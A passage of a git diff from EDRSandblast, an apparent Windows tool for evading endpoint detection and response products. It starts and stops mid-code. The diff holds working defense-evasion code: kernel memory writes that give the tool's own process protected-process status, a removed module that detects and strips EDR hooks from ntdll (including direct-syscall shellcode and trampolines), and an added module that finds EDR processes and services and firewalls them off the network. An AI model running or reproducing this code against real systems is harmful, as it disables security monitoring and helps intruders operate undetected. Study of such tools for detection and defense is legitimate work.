flagPPLWinTcb); - WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb); - - CloseHandle(Device); + _tprintf_or_not(TEXT("[*] [ProcessProtection] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb); + WriteMemoryWORD(processSignatureLevelAddress, flagPPLWinTcb); return 0; } \ No newline at end of file diff --git a/EDRSandblast/Userland/UserlandHooks.c b/EDRSandblast/Userland/UserlandHooks.c deleted file mode 100644 index 89fea7b..0000000 --- a/EDRSandblast/Userland/UserlandHooks.c +++ /dev/null @@ -1,685 +0,0 @@ -/* -* All the logic that detects, resolves, patch userland hooks and other related structures -*/ - -#include -#include -#include - -#include "UserlandHooks.h" -#include "PEBBrowse.h" -#include "Undoc.h" - -#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0) - -// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths -#if _WIN64 -#define PATCH_MAX_SIZE 0x18 -#else -#define PATCH_MAX_SIZE 0x10 -#endif - -int debugf(const char* fmt, ...) { -#if _DEBUG - va_list args; - va_start(args, fmt); - int res = vprintf(fmt, args); - va_end(args); - return res; -#else - fmt = 0; - return 0; -#endif -} - - -/* -* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len". -* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ -*/ -PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) { - for (size_t i = 0; i < len; i++) { - if (mem[i] != disk[i]) { - size_t patchStartIndex = i; - if (NULL != lenPatch) { - while (mem[i] != disk[i] && i < len) { - i++; - } - *lenPatch = i - patchStartIndex; - } - return &mem[patchStartIndex]; - } - } - if (NULL != lenPatch) { - *lenPatch = 0; - } - return NULL; -} - -/* -* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan". -* The list is a NULL-terminated array of "diff" elements -*/ -diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) { - size_t diffSize; - PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize); - DWORD diffsListLen = 4; - size_t diffsListI = 0; - diff* diffsList = malloc(diffsListLen * sizeof(diff)); - if (NULL == diffsList) { - debugf("bug in malloc in findDiffsInRange\n"); - exit(1); - } - - while (diffAddr != NULL && sizeToScan != 0) { - debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize); - searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem); - sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem); - searchStartMem = (BYTE*)diffAddr + diffSize; - diffsList[diffsListI].mem_ptr = diffAddr; - diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize; - diffsList[diffsListI].size = diffSize; - diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize); - diffsListI++; - if (diffsListI >= diffsListLen) { - diffsListLen *= 2; - diffsList = realloc(diffsList, diffsListLen * sizeof(diff)); - if (NULL == diffsList) { - debugf("bug in realloc in findDiffsInRange\n"); - exit(1); - } - } - } - - diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff)); - if (NULL == diffsList) { - debugf("bug in realloc in findDiffsInRange\n"); - exit(1); - } - diffsList[diffsListI].mem_ptr = NULL; - diffsList[diffsListI].disk_ptr = NULL; - diffsList[diffsListI].size = 0; - return diffsList; -} - -/* -* Returns the list of differences between the content of a PE on disk and the content of its version in memory. -* Only read-only sections are compared, since writable sections will obviously contain differences. -* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences -*/ -diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) { - diff* list = NULL; - for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0); - nonWritableSection != NULL; - nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) { - debugf("Diffs in section %s:\n", nonWritableSection->Name); - DWORD sectionRVA = nonWritableSection->VirtualAddress; - LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA); - LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA); - LPVOID searchStartMem = sectionAddrMem; - LPVOID searchStartDisk = sectionAddrDisk; - DWORD remainingSize = nonWritableSection->Misc.VirtualSize; - - list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize); - } - return list; -} - - -/* -* Dumps the full content of a single file, in a newly allocated buffer -*/ -PBYTE readFullFileW(LPCWSTR fileName) { - HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (hFile == INVALID_HANDLE_VALUE) { - return NULL; - } - DWORD fileSize = GetFileSize(hFile, NULL); - PBYTE fileContent = malloc(fileSize); - DWORD bytesRead = 0; - if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { - free(fileContent); - fileContent = NULL; - } - CloseHandle(hFile); - return fileContent; -} - - - -/* -* Checks is a file extists (and is not a directory) -*/ -BOOL FileExistsW(LPCWSTR szPath) -{ - DWORD dwAttrib = GetFileAttributesW(szPath); - - return (dwAttrib != INVALID_FILE_ATTRIBUTES && - !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); -} - -/* -* Looks for a memory needle in a memory haystack -*/ -PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len) -{ - if (!haystack) - return NULL; - if (!haystack_len) - return NULL; - if (!needle) - return NULL; - if (!needle_len) - return NULL; - PBYTE h = haystack; - while (haystack_len >= needle_len) - { - if (!memcmp(h, needle, needle_len)) - return h; - ++h; - --haystack_len; - } - return NULL; -} - -/* -* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget -*/ -PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget) -{ - SIZE_T haystack_len; - PVOID haystack; - PBYTE patternInExecutableMemory; - MEMORY_BASIC_INFORMATION mbi = { 0 }; - - for (PBYTE addr = 0; ; addr += mbi.RegionSize) - { - if (!VirtualQuery(addr, &mbi, sizeof(mbi))) { - break; - } - - if (mbi.State != MEM_COMMIT) { - continue; - } - if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) { - continue; - } - haystack = mbi.BaseAddress; - haystack_len = mbi.RegionSize; - while (haystack_len) - { - patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize); - if (!patternInExecutableMemory) { - break; - } - if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) { - return patternInExecutableMemory; - } - haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack; - haystack = patternInExecutableMemory + 1; - } - } - return NULL; -} - - -VOID unhook(hook* hook, DWORD unhook_method) { - if (unhook_method == UNHOOK_NONE) { - return; - } - - const WCHAR* ntdlolFileName = L".\\ntdlol.txt"; - WCHAR ntdllFilePath[MAX_PATH] = { 0 }; - WCHAR ntdlolFilePath[MAX_PATH] = { 0 }; - HANDLE secondNtdll = INVALID_HANDLE_VALUE; - PE* ntdll_mem = NULL; - PE* ntdll_disk = NULL; - getNtdllPEs(&ntdll_mem, &ntdll_disk); - - diff* patches = hook->list_patches; - //merge every small patches into 1 patch to perform a single write - diff patch = patches[0]; - int nb_patches = 0; - while (patches[nb_patches].size) { - nb_patches++; - } - diff lastPatch = patches[nb_patches - 1]; - patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size; - - pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL; - - // Method used to get a NtProtectVirtualMemory function that is safe to use - switch (unhook_method) { - case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY: - // in this case, it is not really "safe" to use - unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory"); - break; - - case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE: - case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE: - unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method); - break; - - case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY: - GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath)); - PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll"); - - GetTempPathW(MAX_PATH, ntdlolFilePath); - PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName); - - CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE); - secondNtdll = LoadLibraryW(ntdlolFilePath); - PE* secondNtdll_pe = PE_create(secondNtdll, TRUE); - - unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory"); - break; - case UNHOOK_WITH_DIRECT_SYSCALL: - { - BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 }; - BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 }; - BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 }; - pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion"); - OSVERSIONINFOEXW versionInformation = { 0 }; - RtlGetVersion(&versionInformation); - SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret); - DWORD oldProtect; - PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - PBYTE pShellcode = shellcode; - memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number)); - pShellcode += sizeof(mov_eax_syscall_number); - memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx)); - pShellcode += sizeof(mov_r10_rcx); - memcpy(pShellcode, syscall_ret, sizeof(syscall_ret)); - pShellcode += sizeof(syscall_ret); - DWORD syscallNumber = 0; - - PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory"); - for (int i = 0; i < 0x10; i++ , scanner++) { - PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1); - if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32 - syscallNumber = *pPotentialSycallNumber; - break; - } - } - if (syscallNumber != 0) { - //syscall number found ! - } - else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) { - syscallNumber = 0x50; // win10 - } - else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) { - syscallNumber = 0x4F; // win8.1 / 2012 R2 - } - else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) { - syscallNumber = 0x4E; // win8 / 2012 - } - else if (versionInformation.dwMajorVersion <= 6) { - syscallNumber = 0x4D; // win7 / 2008 R2 & before - } - else { - printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting..."); - exit(EXIT_FAILURE); - } - *((DWORD*)(&shellcode[1])) = syscallNumber; - VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect); - unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode; -#if !_WIN64 - printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting..."); - exit(EXIT_FAILURE); -#else - break; - } -#endif - default: - printf("Unhook method does not exist, exiting..."); - exit(EXIT_FAILURE); - break; - } - - //actually remove the hook - DWORD oldProtect; - PVOID patch_mem_ptr = patch.mem_ptr; - SIZE_T patch_size = patch.size; - NTSTATUS status = unmonitoredNtProtectVirtualMemory( - (HANDLE)-1, // GetCurrentProcess() - &patch_mem_ptr, - &patch_size, - PAGE_EXECUTE_READWRITE, - &oldProtect - ); - if (!NT_SUCCESS(status)) { - debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status); - exit(1); - } - - for (size_t i = 0; i < patch.size; i++) { - ((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i]; - } - - status = unmonitoredNtProtectVirtualMemory( - (HANDLE)-1, // GetCurrentProcess() - &patch_mem_ptr, - &patch_size, - oldProtect, - &oldProtect - ); - if (!NT_SUCCESS(status)) { - debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status); - exit(1); - } - - switch (unhook_method) { - case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY: - if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) { - FreeLibrary(secondNtdll); - } - DeleteFileW(ntdlolFilePath); - break; - - } -} - - - -pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) { - PE* ntdllPE_mem = NULL; - PE* ntdllPE_disk = NULL; - getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk); - - PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory"); - PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory"); - - size_t patchSize = 0; - PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize); - - if (patchSize == 0) { - return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory; - } - - if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) { - PVOID trampoline = NULL; - trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize); - if (NULL == trampoline) { - debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n"); - exit(1); - } - return (pNtProtectVirtualMemory)trampoline; - } - else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) { - -#if _WIN64 -#define JUMP_SIZE 14 -#else -#define JUMP_SIZE 5 -#endif - PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (NULL == trampoline) { - debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError()); - exit(1); - } - - DWORD oldProtect; - memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize); -#if _WIN64 - * ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp - *((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0] - *((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize); -#else - * (trampoline + patchSize) = 0xE9; //far JMP - *((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE)); -#endif - VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect); - - return (pNtProtectVirtualMemory)trampoline; - } - return NULL; -} - -PVOID hookResolver(PBYTE hookAddr) { - PBYTE destination = hookAddr; - BOOL hasFollowedJmp = FALSE; - while (TRUE) { - MEMORY_BASIC_INFORMATION mbi; - VirtualQuery(destination, &mbi, sizeof(mbi)); - if (mbi.State != MEM_COMMIT) { - return NULL; - } - switch (destination[0]) { - case 0xE9: - { - int diff = *((int*)(&destination[1])); - destination = &destination[5] + diff; - hasFollowedJmp = TRUE; - break; - } -#if _WIN64 - case 0xFF: - { - BYTE selector = destination[1]; - if (selector != 0x25) { - return NULL; - } - int diff = *((int*)(&destination[2])); - QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff); - destination = (PBYTE)*offsetPtr; - hasFollowedJmp = TRUE; - break; - } -#endif - default: - if (!hasFollowedJmp) { - return NULL; - } - else { - return destination; - } - } - } -} - -BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) { - PVOID mem_functionStart = PE_functionAddr(memDLL, functionName); - PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName); - return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL; -} - -hook* searchHooks(const char* csvFileName) { - FILE* csvFile = NULL; - DWORD hookListSize = 8; - DWORD hookList_i = 0; - hook* hooksList = calloc(hookListSize, sizeof(hook)); - if (NULL == hooksList) { - debugf("calloc failed\n"); - exit(1); - } - if (csvFileName) { - if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) { - perror("CSV file could not be opened:"); - exit(1); - } - fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n"); - } - - BOOL hooksFoundInLastModule = TRUE; - for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) { - UNICODE_STRING dll_name = currentModuleEntry->BaseDllName; - if (dll_name.Buffer == NULL) { - continue; - } - WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer; - - if (!hooksFoundInLastModule) { - printf("\tNo hooks found in this module.\n"); - } - else { - hooksFoundInLastModule = FALSE; - } - printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName); - if (csvFile) { - fprintf(csvFile, "0x%p;%ws;%ws;;;\n", - currentModuleEntry->DllBase, - currentModuleEntry->BaseDllName.Buffer, - currentModuleEntry->FullDllName.Buffer - ); - } - - PVOID mem_dllImageBase = currentModuleEntry->DllBase; - PE* memDLL = PE_create(mem_dllImageBase, TRUE); - if (NULL == memDLL->exportDirectory) { - continue; - } - - if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) { - continue; - } - PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer); - if (NULL == disk_dllContent) { - debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError()); - continue; - } - - - PE* diskDLL = PE_create(disk_dllContent, FALSE); - PE_rebasePE(diskDLL, memDLL->baseAddress); - - for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) { - LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]); - DWORD functionRVA = PE_functionRVA(diskDLL, functionName); - IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA); - - if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function - continue; - - PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName); - PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName); - - //check if hook was already detected in this function (due to export aliasing) - BOOL alreadyChecked = FALSE; - for (size_t i = 0; i < hookList_i; i++) { - if (hooksList[i].mem_function == mem_functionStart) { - alreadyChecked = TRUE; - break; - } - - } - if (alreadyChecked) - continue; - - if (isFunctionHooked(functionName, diskDLL, memDLL)) { - printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName); - hooksFoundInLastModule = TRUE; - PVOID jmpTarget = hookResolver(mem_functionStart); - if (NULL == jmpTarget) { - printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n"); - } - else { - LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget); - for (DWORD i = 0; i < 40 - strlen(functionName); i++) { - printf(" "); - } - printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)); - - if (csvFile) { - fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n", - currentModuleEntry->DllBase, - currentModuleEntry->BaseDllName.Buffer, - currentModuleEntry->FullDllName.Buffer, - functionName, - jmpTarget, - hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase) - ); - } - - if (hookList_i >= hookListSize) { - hookListSize *= 2; - hooksList = realloc(hooksList, hookListSize * sizeof(hook)); - if (hooksList == NULL) { - debugf("realloc failed\n"); - exit(1); - } - } - printf("\n"); - - hooksList[hookList_i].mem_function = mem_functionStart; - hooksList[hookList_i].disk_function = disk_functionStart; - hooksList[hookList_i].functionName = functionName; - hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE); - hookList_i++; - } - } - } - } - if (!hooksFoundInLastModule) { - printf("\tNo hooks found in this module.\n"); - } - if (csvFileName) { - fclose(csvFile); - } - if (hookList_i >= hookListSize) { - hookListSize++; - hooksList = realloc(hooksList, hookListSize * sizeof(hook)); - if (NULL == hooksList) { - printf("realloc failed\n"); - exit(1); - } - } - hooksList[hookList_i].mem_function = NULL; - hooksList[hookList_i].disk_function = NULL; - hooksList[hookList_i].functionName = NULL; - - return hooksList; -} - -/* -* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access -*/ -void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) { - LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll"); - PE* ntdllPE_mem_l = NULL; - PE* ntdllPE_disk_l = NULL; - - if (ntdllMemPe_g == NULL) { - ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE); - } - else { - ntdllPE_mem_l = ntdllMemPe_g; - } - if (ntdllDiskPe_g == NULL) { - PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer); - if (NULL == disk_dllContent) { - exit(1); - } - ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE); - PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress); - } - else { - ntdllPE_disk_l = ntdllDiskPe_g; - } - - if (ntdllPE_mem) { - *ntdllPE_mem = ntdllPE_mem_l; - } - if (ntdllPE_disk) { - *ntdllPE_disk = ntdllPE_disk_l; - } -} - -void test_trampoline_search() -{ - for (hook* h = searchHooks(NULL); h->disk_function; ++h) - { - PVOID trampoline = NULL; - printf("Looking for %s trampoline ...\n", h->functionName); - for (diff* d = h->list_patches; d->disk_ptr; ++d) - { - trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size); - if (trampoline) - { - printf("\tTrampoline found at %p !\n", trampoline); - break; - } - } - if (!trampoline) - printf("\tTRAMPOLINE NOT FOUND !\n"); - } -} diff --git a/EDRSandblast/UserlandBypass/Firewalling.c b/EDRSandblast/UserlandBypass/Firewalling.c new file mode 100644 index 0000000..881f1d2 --- /dev/null +++ b/EDRSandblast/UserlandBypass/Firewalling.c @@ -0,0 +1,451 @@ +/* + +--- Firewall rules to block EDR products from the network (inboud / outbound connections). + +*/ +#include "../EDRSandblast.h" +#include "Firewalling.h" + +HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) { + HRESULT hrStatus = S_OK; + + // Create the Firewall blocking rules. + for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) { + slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR)); + slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR)); + if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) { + _tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath); + return 1; + } + + hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus); + } + else { + _tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath); + } + + hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus); + } + else { + _tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath); + } + } + + return hrStatus; +} + +// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products. +NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) { + PROCESSENTRY32 pe32; + HANDLE hProcessSnap = INVALID_HANDLE_VALUE; + HANDLE hProcess = INVALID_HANDLE_VALUE; + TCHAR binaryPath[MAX_PATH]; + DWORD szBinaryPath = _countof(binaryPath); + + fwBinaryRules* slistNewFWEntry = NULL; + + // Take a snapshot of all processes in the system. + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + _putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)")); + return -1; + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hProcessSnap, &pe32)) { + _putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)")); + goto cleanup; + } + + do { + if (pe32.th32ProcessID == 0) { + continue; + } + + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID); + if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID); + continue; + } + + szBinaryPath = _countof(binaryPath); + if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) { + _tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError()); + CloseHandle(hProcess); + continue; + } + + if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) { + slistNewFWEntry = calloc(1, sizeof(fwBinaryRules)); + if (!slistNewFWEntry) { + _tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID); + goto cleanup; + } + + slistNewFWEntry->binaryPath = _tcsdup(binaryPath); + if (!slistNewFWEntry->binaryPath) { + _tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID); + goto cleanup; + } + fwList_insertSorted(sFWEntries, slistNewFWEntry); + _tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath); + } + + CloseHandle(hProcess); + hProcess = INVALID_HANDLE_VALUE; + } while (Process32Next(hProcessSnap, &pe32)); + + CloseHandle(hProcessSnap); + + return 0; + +cleanup: + if (hProcessSnap != INVALID_HANDLE_VALUE) { + CloseHandle(hProcessSnap); + } + + if (hProcess != INVALID_HANDLE_VALUE) { + CloseHandle(hProcess); + } + + return -1; +} + +// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products. +NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) { + SC_HANDLE hSCManager = NULL; + SC_HANDLE hService = NULL; + ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL; + QUERY_SERVICE_CONFIG* lpServiceConfig = 0; + TCHAR serviceBinaryPath[MAX_PATH]; + TCHAR serviceBinaryPathCopy[MAX_PATH]; + DWORD lpServicesCount = 0; + DWORD dwByteCount = 0, dwBytesNeeded = 0; + DWORD dwError = 0; + BOOL returnValue; + + fwBinaryRules* slistNewFWEntry = NULL; + + // Open an handle on the Service Control Manager. + hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT); + if (!hSCManager) { + _tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError()); + return 1; + } + + // Query services through the Service Control Manager, first call always fail due to insufficient buffer size. + do { + if (lpServices) { + free(lpServices); + lpServices = NULL; + } + + dwByteCount = dwByteCount + dwBytesNeeded; + lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE)); + if (!lpServices) { + _putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services")); + goto cleanup; + } + + returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | 